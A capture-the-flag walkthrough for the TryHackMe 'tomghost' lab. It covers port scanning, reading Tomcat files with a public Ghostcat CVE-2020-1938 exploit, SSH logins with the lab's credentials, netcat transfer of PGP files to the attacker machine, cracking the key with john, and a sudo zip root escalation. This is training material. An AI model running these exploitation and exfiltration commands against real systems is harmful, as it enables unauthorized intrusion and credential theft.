# tomghost

### Initial Scan <a href="#initial-scan" id="initial-scan"></a>

**Kali**

```
nmap -A $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FpQeitNtxHppcsTGXyFWJ%2Fimage.png?alt=media&#x26;token=b4315aa5-89bb-4c2c-a6b6-941bbfc38d1a" alt=""><figcaption></figcaption></figure>

### Scan all ports <a href="#scan-all-ports" id="scan-all-ports"></a>

**Kali**

```
nmap -sV -sT -O -p 1-65535 $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F2WOEdrYJCOKuuLEwXTtZ%2Fimage.png?alt=media&#x26;token=4c447477-31be-4be7-ab5a-70357356324c" alt=""><figcaption></figcaption></figure>

## TCP/8080 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM:8080 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYxElOxymAs6hPgWjdKRC%2Fimage.png?alt=media&#x26;token=83d766fe-9083-4de1-adfd-d7fb5742f9ba" alt=""><figcaption></figcaption></figure>





<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FJaRH9LVTs8FXFrYMLE26%2Fimage.png?alt=media&#x26;token=983ab569-ee3d-40c2-9413-c55ea4dab18b" alt=""><figcaption></figcaption></figure>

## **Initial Access**

**Victim**

```
git clone https://github.com/Hancheng-Lei/Hacking-Vulnerability-CVE-2020-1938-Ghostcat.git 
cd Hacking-Vulnerability-CVE-2020-1938-Ghostcat/
python2 CVE-2020-1938.py $VICTIM -p 8009 -f WEB-INF/web.xml
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fp5dmIItMxrUzyFIOqwcC%2Fimage.png?alt=media&#x26;token=e4e8f421-2323-457d-9a82-dbd7c1ef06e3" alt=""><figcaption></figcaption></figure>



### **TCP/22 - SSH** <a href="#tcp-22-ssh" id="tcp-22-ssh"></a>

**Kali**

```
ssh skyfuck@$VICTIM
Password: 8730281lkjlkjdqlksalks
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FMLY4NS1KeaL3psSUIkyA%2Fimage.png?alt=media&#x26;token=0ca7980a-7a62-4ee4-823c-8ef494d9812e" alt=""><figcaption></figcaption></figure>



### Netcat <a href="#netcat" id="netcat"></a>

**Kali(receiving)**

```
nc -l -p 1234 > credential.pgp
nc -l -p 1234 > tryhackme.asc
```

**Victim(sending)**

```
nc -w 3 $KALI 1234 < credential.pgp
nc -w 3 $KALI 1234 < tryhackme.asc
```

**Kali**

```
/opt/john/gpg2john tryhackme.asc > pgp.hash
john pgp.hash --wordlist=/usr/share/wordlists/rockyou.txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FQIx3ziny0TvVpr4t7sh4%2Fimage.png?alt=media&#x26;token=b702094c-4575-485c-9035-600707832151" alt=""><figcaption></figcaption></figure>

**Kali**

```
gpg --import tryhackme.asc 
Password: alexandru
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FgcS99I9JMBItCVlBzDcb%2Fimage.png?alt=media&#x26;token=fd125227-0544-4bcb-9c08-7dca98af59aa" alt=""><figcaption></figcaption></figure>

**Kali**

```
gpg --decrypt credential.pgp 
Password: alexandru
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Filp9NjlVuPBKWBh21Snf%2Fimage.png?alt=media&#x26;token=21e78267-bde5-4a9d-8458-3c76d95748a1" alt=""><figcaption></figcaption></figure>

## Privilege Escalation  <a href="#tcp-22-ssh" id="tcp-22-ssh"></a>

### **TCP/22 - SSH** <a href="#tcp-22-ssh" id="tcp-22-ssh"></a>

**Kali**

```
ssh merlin@$VICTIM
Password: asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j
```

**Exploit:** [https://gtfobins.github.io/gtfobins/zip/](https://gtfobins.github.io/gtfobins/zip/)

**Victim**

```
sudo -l
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FiNxDGjYnFB0DueWQbALn%2Fimage.png?alt=media&#x26;token=04a26583-795c-4676-8228-b74c9e10b8f5" alt=""><figcaption></figcaption></figure>

**Victim**

```
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FqSdIe6mTvgq8Xxd6dezG%2Fimage.png?alt=media&#x26;token=0abe31a2-dfc9-4c1d-b5b9-ad20a4974aaf" alt=""><figcaption></figcaption></figure>
